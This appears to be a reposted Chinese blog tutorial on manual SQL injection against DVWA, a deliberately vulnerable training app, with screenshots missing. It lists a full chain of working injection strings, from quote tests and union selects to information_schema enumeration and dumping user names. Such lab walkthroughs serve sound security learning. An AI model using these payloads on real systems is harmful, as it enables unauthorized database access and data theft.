1. 程式人生 > >DVWA之php+mysql手工注入

DVWA之php+mysql手工注入

DVWA 頁面
在這裡插入圖片描述

輸入user ID ,輸入 1。看到如下資訊

在這裡插入圖片描述

在此點嘗試注入,輸入‘ ’ ’,判斷其注入型別。
在這裡插入圖片描述

初步判斷是數字型注入,在輸入 " 1 or 1=1 ",嘗試遍歷資料表
在這裡插入圖片描述

判斷字元型:" 1’ or ‘1’='1 "

在這裡插入圖片描述

利用 order by num 來測試查詢表的列, 輸入: " 1’ order by 1 – "(–後有空格)或者 " 1’ order by 1 ## "
在這裡插入圖片描述
在這裡插入圖片描述

當為2時正確顯示,為3時錯誤,我們判斷有2列

在mysql中

user ( )  : 	當前登陸的使用者
database ( ) :	當前資料庫名
version ( ):	資料庫版本

用union聯合查詢,查詢其資訊。注入語法: " 1’ and 1=2 union select user(), database() – "(–後有空格)
在這裡插入圖片描述

在這裡插入圖片描述
在這裡插入圖片描述

用SQL中的全域性變數 " @@global.version_compile_os "來獲得作業系統的資訊
在這裡插入圖片描述

查詢mysql資料庫所有的資料庫名字。語法: " 1’ and 1=1 union select 1,schema_name from information_schema.schemata – "

在這裡插入圖片描述

輸出所有表名 " 1’ union select null,group_concat(table_name) from information_schema.tables where table_schema=‘dvwa’ # "

在這裡插入圖片描述

然後通過手工注入猜解dvwa資料庫表名,語法: " 1’ and exists(select * from users) – "

在這裡插入圖片描述

再猜解欄位名,語法: " 1’ and exists(select first_name from users) – "
在這裡插入圖片描述

在這裡插入圖片描述

嘗試顯示這兩個欄位的內容,語法:" 1 ’ and 1=1 union select first_name,last_name from users – "

在這裡插入圖片描述